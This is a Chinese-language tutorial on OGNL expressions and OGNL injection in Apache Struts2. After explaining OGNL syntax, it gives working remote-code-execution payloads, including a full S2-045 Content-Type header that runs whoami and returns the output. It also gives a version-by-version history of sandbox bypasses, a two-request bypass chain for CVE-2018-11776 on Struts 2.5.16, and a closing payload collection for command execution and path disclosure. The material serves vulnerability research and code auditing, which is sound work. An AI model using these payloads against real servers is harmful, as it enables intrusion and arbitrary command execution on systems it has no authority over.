OGNL例子
1 | //创建一个Ognl上下文对象 |
OGNL表达式概述
OGNL(Object Graph Navigation Language)即对象图形导航语言,是一个开源的表达式引擎。使用OGNL,你可以通过某种表达式语法,存取Java对象树中的任意属性、调用Java对象树的方法、同时能够自动实现必要的类型转化。如果我们把表达式看做是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。我们可以轻松解决在数据流转过程中所遇到的各种问题。
OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:
setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:
OGNL同时编写了许多其它的方法来实现相同的功能,详细可参考Ognl.java代码。OGNL的API很简单,无论何种复杂的功能,OGNL会将其最终映射到OGNL的三要素中通过调用底层引擎完成计算,OGNL的三要素即上述方法的三个参数expression、root、context。
OGNL三要素
Expression(表达式):
Expression规定OGNL要做什么,其本质是一个带有语法含义的字符串,这个字符串将规定操作的类型和操作的内容。OGNL支持的语法非常强大,从对象属性、方法的访问到简单计算,甚至支持复杂的lambda表达式。
Root(根对象):
OGNL的root对象可以理解为OGNL要操作的对象,表达式规定OGNL要干什么,root则指定对谁进行操作。OGNL的root对象实际上是一个java对象,是所有OGNL操作的实际载体。
Context(上下文):
有了表达式和根对象,已经可以使用OGNL的基本功能了。例如,根据表达式对root对象进行getvalue、setvalue操作。
不过事实上在OGNL内部,所有的操作都会在一个特定的数据环境中运行,这个数据环境就是OGNL的上下文。简单说就是上下文将规定OGNL的操作在哪里进行。
OGNL的上下文环境是一个MAP结构,定义为OgnlContext,root对象也会被添加到上下文环境中,作为一个特殊的变量进行处理。
OGNL基本操作
符号解释:
#
可以获取非root的Student对象。%
符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。$
在配置文件中引用OGNL表达式。@
符号实现对静态变量方法的访问
对root对象的访问:
针对OGNL的root对象的对象树的访问是通过使用‘点号’将对象的引用串联起来实现的。通过这种方式,OGNL实际上将一个树形的对象结构转化为一个链式结构的字符串来表达语义,如下:
1 | //获取root对象中的name属性值 |
对上下文环境的访问:
Context上下文是一个map结构,访问上下文参数时需要通过#符号加上链式表达式来进行,从而表示与访问root对象的区别
可以直接吧”#”类比为"ActionContext.getContext()"
,例如"#session.user"
相当于"ActionContext.getContext().getSession().getAttribute('user')"
如下:
1 | //获取上下文环境中名为introduction的对象的值 |
对静态变量、方法的访问:
在OGNL中,对于静态变量、方法的访问通过@[class]@[field/method]访问,这里的类名要带着包名。如下
1 | //访问com.example.core.Resource类中名为img的属性值 |
访问调用
1 | //调用root对象中的group属性中users的size()方法 |
构造对象
OGNL支持直接通过表达式来构造对象,构造的方式主要包括三种:
1.构造List:使用{},中间使用逗号隔开元素的方式表达列表
1 | {1,3,5}[1] |
构造包含1,3,5的列表并且取下标是1的值
2.构造map:使用#{},中间使用逗号隔开键值对,并使用冒号隔开key和value
1 | #{"name":"xiaoming","school":"tsinghua"}["school"] |
jsp中如果需要取map中的某个值,一般采用以下办法:
1 | <s property value="#myMap['key']"/> |
3.构造对象:直接使用已知的对象构造函数来构造对象
1 | new java.lang.String("testnew") |
OGNL注入
根据前面的解释可以知道ongl支持对静态对象和方法的访问,因此也可以构造命令注入的表达式,ognl解析器对表达式进行解析时就会造成ognl注入。
payload
1 | @java.lang.Runtime@getRuntime().exec("calc") |
完整代码:
setValue
1 | public static void main(String[] args) throws OgnlException, Exception{ |
getValue
1 | public static void main(String[] args) throws OgnlException{ |
OGNL<3.1.25
OGNL版本小于3.1.25的情况下没有黑名单的校验机制,可以直接注入OGNL表达式
OGNL>=3.1.25或OGNL>=3.2.12
OGNL>=3.1.25或OGNL>=3.2.12配置了黑名单检测,会导致实验失败,提示cannot be called from within OGNL invokeMethod() under stricter invocation mode
,在使用StricterInvocation模式下不允许执行java.lang.Runtime.getRuntime()
。
对比上面2.7.3版本,在OgnlRuntime.invokeMethod
中,添加了黑名单判断,当命中黑名单会出现上图的报错:ClassResolver
、MethodAccessor
、MemberAccess
、OgnlContext
、Runtime
、ClassLoader
、ProcessBuilder
等。
1 | public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException { |
S2-045远程代码执行漏洞
漏洞描述
在Jakarta Multipart解析器插件中,Apache Struts2容易存在远程代码执行漏洞(CNNVD-201703-152)。当使用此插件上传文件时,攻击者可以更改HTTP请求的Content-Type报头字段的值来触发此漏洞,从而导致远程代码执行。
影响范围:
- Struts 2.3.5 – Struts 2.3.31
- Struts 2.5 – Struts 2.5.10
环境搭建
1 | git clone https://github.com/apache/Struts.git |
STRUTS_2_5_10在releases中选取
导入IDEA之后,reload pom.xml,artifact选择showcase
访问即可看到示例程序
1 | http://localhost:8888/showcase.action |
漏洞验证
payload:
1 | Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468 |
漏洞分析
查看github对比2.5.10跟2.5.10_1发现修改地方
1 | https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_11 |
漏洞代码起始点在src/main/java/org/apache/struts2/dispatcher/PrepareOperations.java
的WebRequest
函数中,使用dispatcher.wrapRequest函数包装request对象
在src/main/java/org/apache/struts2/dispatcher/Dispatcher.java
中判断content-type开头是否为multipart/form-data
,是则进一步包装
在multi.parse
方法中产生错误信息
1 | the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468 |
进入src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java
的intercept方法被拦截处理
进入findText处理错误信息
进入src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java
的getdefaultMessage方法
经过几个translateVariable,进入src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java
的逻辑,可以看到获取到ognl的Evaluator了
继续跟进到src/main/java/com/opensymphony/xwork2/util/OgnlTextParser.java
的evalute方法,根据${}
或#{}
获取其中的expression进行解析
最后一路跟进到src/main/java/com/opensymphony/xwork2/ognl/OgnlValueStack.java
的getValue方法解析ognl字符串,造成ognl表达式注入漏洞
调用栈如下:
OGNL代码审计关键字
1 | Ognl.setValue |
OGNL攻防
在OGNL注入中存在两个重要的漏洞利用对象
_memberAccess
,是一个SecurityMemberAccess
用于控制OGNL可以做什么的对象context
,允许访问更多对象的上下文映射
OGNL execution context
控制_memberAccess可以破坏SecurityMemberAccess的设置,因为_memberAccess可以很容易被修改
如下修改即可:
1 | #_memberAccess['allowStaticMethodAccess']=true |
SecurityMemberAccess
Struts使用_memberAccess
来控制OGNL中的内容。
使用布尔变量来控制OGNL如何访问Java的方法和变量,常见如下几个,默认值为false
- allowPrivateAccess
- allowProtectedAccess
- allowPackageProtectedAccess
- allowStaticMethodAccess
用于拒绝特定类和包访问的变量有如下:
- excludeClasses
- excludePackageNames
- excludePackageNamePatterns
OGNL对抗历史
以下的版本是Struts的版本,不是OGNL的版本
- payload不行就把单引号换成双引号
拒绝静态方法,但是允许任意构造函数(2.3.20之前)
- 在2.3.14之前的版本
默认情况下,_memberAccess
配置为阻止访问静态、私有和受保护的方法。但是,在 2.3.14.1 之前,可以通过获取#_memberAccess
和更改这些设置轻松绕过这一点。许多漏洞利用都涉及这样做,例如:
1 | (#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
在2.3.14.1及之后版本到2.3.20
allowStaticMethodAccess
成为final
且无法再更改。但是,由于_memberAccess
还允许构造任意类并访问它们的公共方法,实际上根本不需要更改任何设置_memberAccess
来执行任意代码:1
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
拒绝静态方法,拒绝构造函数,但允许任意类访问(2.3.20-2.3.29)
在 2.3.20 中,excludedClasses
引入了 blacklistsexcludedPackageNames
和excludedPackageNamePatterns
,将某些类列入黑名单。还引入了另一个重要的变化,它拒绝任何构造函数调用。这会杀死ProcessBuilder
有效载荷。从现在开始,不允许使用静态方法和构造函数,这对 OGNL 的功能施加了相当大的限制。
但是,_memberAccess
仍然可以访问,而且还有一个静态对象DefaultMemberAccess
也可以访问。该DefaultMemberAccess
对象是SecurityMemberAccess
中允许静态方法和构造函数的默认的较弱版本。所以这个想法很简单,只需将payload中的_memberAccess
替换为DefaultMemberAccess
!
1 | (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec("calc")) |
对类访问和 _memberAccess 的限制不再可用 (2.3.30/2.5.2+)
最后,_memberAccess
消失了,所以这些简单的技巧都不再起作用了。最重要的是,类ognl.MemberAccess
和ognl.DefaultMemberAccess
包含在黑名单中。要了解如何绕过这一点,让我们看一下 S2-045 有效载荷的简化版本:
1 | (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
关于这个漏洞,首先要注意的是它甚至没有尝试达到_memberAccess
. 相反,它会尝试获取一个实例OgnlUtil
并清除其排除的类黑名单。那么它是怎样工作的?该漏洞首先Container
从上下文映射中获取一个,其中包含以下键:
密钥com.opensymphony.xwork2.ActionContext.container
给了我一个Container
OGNL 执行环境中的实例。
然后该getInstance
方法尝试创建该类的一个实例OgnlUtil
,但由于它是一个单例,它返回现有的全局实例。
要了解excludedClasses
全局OgnlUtil
对象中的 与对象的关系如何_memberAccess
,我们来看看是如何_memberAccess
初始化的。
当请求进来时,ActionContext
通过调用该createActionContext
方法创建一个新的。
这最终会调用 的setOgnlUtil
方法OgnlValueStack
来初始化securityMemberAccess
的OgnlValueStack
全局实例OgnlUtil
。
从下面的示例中我们可以看到,securityMemberAccess
这里(最后一行)与_memberAccess
(第一行)相同。
这意味着共享的全局实例相同OgnlUtil
,excludedClasses
因此excludedPackageNames
清除这些也将清除相应的 in 。excludedPackageNamePatterns
Set``_memberAccess``Set``_memberAccess
之后,OGNL就可以自由地访问DEFAULT_MEMBER_ACCESS
对象和setMemberAccess
方法,OgnlContext
替换_memberAccess
成较弱的DEFAULT_MEMBER_ACCESS
,然后执行任意代码。
绕过 2.5.16
我现在将解释如何绕过 2.5.16 中的缓解措施并攻击 CVE-2018-11776。让我们首先看一下自披露的第 2 天以来公开可用的漏洞利用。有不同的版本,但它们大致如下:
1 | ${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |
从上一节中,读者应该能够找到至少两个原因为什么这在 2.5.16 中不起作用,并确定它停止工作的确切版本(提示:2.5.x 都没有)。这实际上是个好消息,因为它给了人们足够的时间进行升级,并有望阻止大规模攻击的发生。
现在让我们构建一个真正有效的漏洞利用。
看到增量 OGNL 缓解改进后,漏洞利用的自然起点将是最近有效的漏洞,即这个:
1 | (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
然而,由于引入了其他改进,这在 2.5.16 中不起作用。首先,context
在 2.5.13 中删除了访问权限,并且excludedClasses
等黑名单在 2.5.10 之后变得不可变。
如上所述,context
全局变量在 2.5.13 版本之后不再可用,所以第一步是看看是否有办法回到context
. 让我们看看这里有什么可用的。我将从 A 开始按字母顺序工作。让我们来看看attr
.
的值struts.valueStack
突出,OgnlValueStack
作为它的类型。如果我想回到 OGNL 使用的上下文映射,那么类型的东西OgnlValueStack
似乎是一个非常好的候选者。确实,有一种方法称为getContext
,它完全按照锡上所说的那样做,并为我们提供了context
地图。所以我们现在可以将之前的漏洞利用修改为:
1 | (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
然而,这仍然行不通,因为excludedClasses
和excludedPackageNames
现在都是不可变的:
不幸的是,这些黑名单本身并不是真正不可变的,因为您可以使用setter修改它们。
1 | (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
然而,这仍然行不通。excludedClasses
集合在 中被清除ognlUtil
:
但不在_memberAccess
这是因为在设置excludedClasses
时ognlUtil
,它分配excludedClasses
给一个新的空集,而不是修改两个_memberAccess
和引用的集ognlUtil
,所以这个改变只影响ognlUtil
,而不是_memberAccess
。然而,这并不遥远,因为我现在要做的就是重新发送这个有效载荷:
这是如何运作的?!请记住,这_memberAccess
是一个瞬态对象,在ActionContext
请求进来时在创建新对象期间创建。每次ActionContext
该方法创建一个新对象时,都会调用createActionContext
该方法以使用来自全局的黑名单等进行创建。因此,通过重新发送请求,新创建的类和包将被清空,允许我们执行任意代码。整理payload,我以这两个payload结束。第一个清空和黑名单setOgnlUtil
_memberAccess``excludedClasses``excludedPackageNames``ognlUtil``_memberAccess``excludedClasses``excludedPackageNames
1 | (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')) |
第二个解除_memberAccess
并执行任意代码。
1 | (#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')) |
一个接一个地发送这两个,允许我使用 CVE-2018-11776 执行任意代码。
payload收集
Struts2 payload
https://www.alertyoung.com/archives/11/#s2-062
验证
1 | %{1+1} |
获取web路径
1 | %{ |
命令执行
1 | %{ |